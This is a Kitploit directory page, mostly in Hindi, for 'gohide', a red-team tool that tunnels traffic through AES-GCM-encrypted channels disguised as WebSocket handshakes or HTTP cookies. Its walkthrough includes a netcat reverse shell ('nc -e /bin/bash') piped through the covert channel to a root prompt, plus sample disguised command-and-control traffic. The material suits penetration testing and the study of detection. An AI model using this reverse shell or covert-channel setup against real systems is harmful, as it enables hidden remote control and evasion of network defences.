Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
gohide — पोर्ट-टू-पोर्ट ट्रैफिक को एक अस्पष्ट चैनल पर AES-GCM एन्क्रिप्शन के साथ टनल करें। | Kitploit
उपकरण/GitHubGitHub/potato-industries/gohide
एन्क्रिप्शन/डिक्रिप्शन उपकरणनेटवर्क सुरक्षाकमांड एंड कंट्रोलरेड टीमिंग
GitHubpotato-industries/gohide

gohide

पोर्ट-टू-पोर्ट ट्रैफिक को एक अस्पष्ट चैनल पर AES-GCM एन्क्रिप्शन के साथ टनल करें।

रिपॉजिटरी देखें
67136 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

gohide

पोर्ट-टू-पोर्ट ट्रैफ़िक को AES-GCM एन्क्रिप्शन के साथ एक अस्पष्ट चैनल के माध्यम से टनल करें।

अस्पष्टीकरण मोड

  • सेशन कुकी HTTP GET (http-client)
  • सेट-कुकी सेशन कुकी HTTP/2 200 OK (http-server)
  • वेबसॉकेट हैंडशेक "Sec-WebSocket-Key" (websocket-client)
  • वेबसॉकेट हैंडशेक "Sec-WebSocket-Accept" (websocket-server)
  • कोई अस्पष्टीकरण नहीं, केवल AES-GCM एन्क्रिप्टेड संदेशों का उपयोग करें (none)

AES-GCM उपरोक्त प्रत्येक विकल्प के लिए डिफ़ॉल्ट रूप से सक्षम है।

उपयोग

root@kitploit:~
root@WOPR-KALI:/opt/gohide-dev# ./gohide -h
Usage of ./gohide:
  -f string
    	listen fake server -r x.x.x.x:xxxx (ip/domain:port) (default "0.0.0.0:8081")
  -key openssl passwd -1 -salt ok | md5sum
    	aes encryption secret: use '-k openssl passwd -1 -salt ok | md5sum' to derive key from password (default "5fe10ae58c5ad02a6113305f4e702d07")
  -l string
    	listen port forward -l x.x.x.x:xxxx (ip/domain:port) (default "127.0.0.1:8080")
  -m string
    	obfuscation mode (AES encrypted by default): websocket-client, websocket-server, http-client, http-server, none (default "none")
  -pem string
    	path to .pem for TLS encryption mode: default = use hardcoded key pair 'CN:target.com', none = plaintext mode (default "default")
  -r string
    	forward to remote fake server -r x.x.x.x:xxxx (ip/domain:port) (default "127.0.0.1:9999")

परिदृश्य

बॉक्स A - रिवर्स हैंडलर।

root@kitploit:~
root@WOPR-KALI:/opt/gohide# ./gohide -f 0.0.0.0:8081 -l 127.0.0.1:8080 -r target.com:9091 -m websocket-client
Local Port Forward Listening: 127.0.0.1:8080
FakeSrv Listening: 0.0.0.0:8081

बॉक्स B - लक्ष्य।

root@kitploit:~
root@WOPR-KALI:/opt/gohide# ./gohide -f 0.0.0.0:9091 -l 127.0.0.1:9090 -r target.com:8081 -m websocket-server
Local Port Forward Listening: 127.0.0.1:9090
FakeSrv Listening: 0.0.0.0:9091

नोट: /etc/hosts "127.0.0.1 target.com"

बॉक्स B - Netcat /bin/bash

root@kitploit:~
root@WOPR-KALI:/var/tmp# nc -e /bin/bash 127.0.0.1 9090

बॉक्स A - Netcat क्लाइंट

root@kitploit:~
root@WOPR-KALI:/opt/gohide# nc -v 127.0.0.1 8080
localhost [127.0.0.1] 8080 (http-alt) open
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux WOPR-KALI 5.3.0-kali2-amd64 #1 SMP Debian 5.3.9-1kali1 (2019-11-11) x86_64 GNU/Linux
netstat -pantwu 
Active Internet connections (servers and established)
tcp        0      0 127.0.0.1:39684         127.0.0.1:8081          ESTABLISHED 14334/./gohide      

अस्पष्टीकरण नमूने

websocket-client (बॉक्स A से बॉक्स B)

  • Sec-WebSocket-Key में AES-GCM एन्क्रिप्टेड सामग्री होती है जैसे "uname -a"।
root@kitploit:~
GET /news/api/latest HTTP/1.1
Host: cdn-tb0.gstatic.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: 6jZS+0Wg1IP3n33RievbomIuvh5ZdNMPjVowXm62
Sec-WebSocket-Version: 13

websocket-server (बॉक्स B से बॉक्स A)

  • Sec-WebSocket-Accept में AES-GCM एन्क्रिप्टेड आउटपुट होता है।
root@kitploit:~
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: URrP5l0Z3NIHXi+isjuIyTSKfoP60Vw5d2gqcmI=

http-client

  • सेशन कुकी हेडर में AES-GCM एन्क्रिप्टेड सामग्री होती है
root@kitploit:~
GET /news/api/latest HTTP/1.1
Host: cdn-tbn0.gstatic.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://www.bbc.co.uk/
Connection: keep-alive
Cookie: Session=R7IJ8y/EBgCanTo6fc0fxhNVDA27PFXYberJNW29; Secure; HttpOnly

http-server

  • सेट-कुकी हेडर में AES-GCM एन्क्रिप्टेड सामग्री होती है।
root@kitploit:~
HTTP/2.0 200 OK
content-encoding: gzip
content-type: text/html; charset=utf-8
pragma: no-cache
server: nginx
x-content-type-options: nosniff
x-frame-options: SAMEORIGIN
x-xss-protection: 1; mode=block
cache-control: no-cache, no-store, must-revalidate
expires: Thu, 21 Nov 2019 01:07:15 GMT
date: Thu, 21 Nov 2019 01:07:15 GMT
content-length: 30330
vary: Accept-Encoding
X-Firefox-Spdy: h2
Set-Cookie: Session=gWMnQhh+1vkllaOxueOXx9/rLkpf3cmh5uUCmHhy; Secure; Path=/; HttpOnly

none

root@kitploit:~
8JWxXufVora2FNa/8m2Vnub6oiA2raV4Q5tUELJA

Screenshot from 2019-11-21 02-26-30

Screenshot from 2019-11-21 16-40-07

भविष्य

  • त्रुटि प्रबंधन को ठीक करें।

आनंद लें~

टूल डाउनलोड करें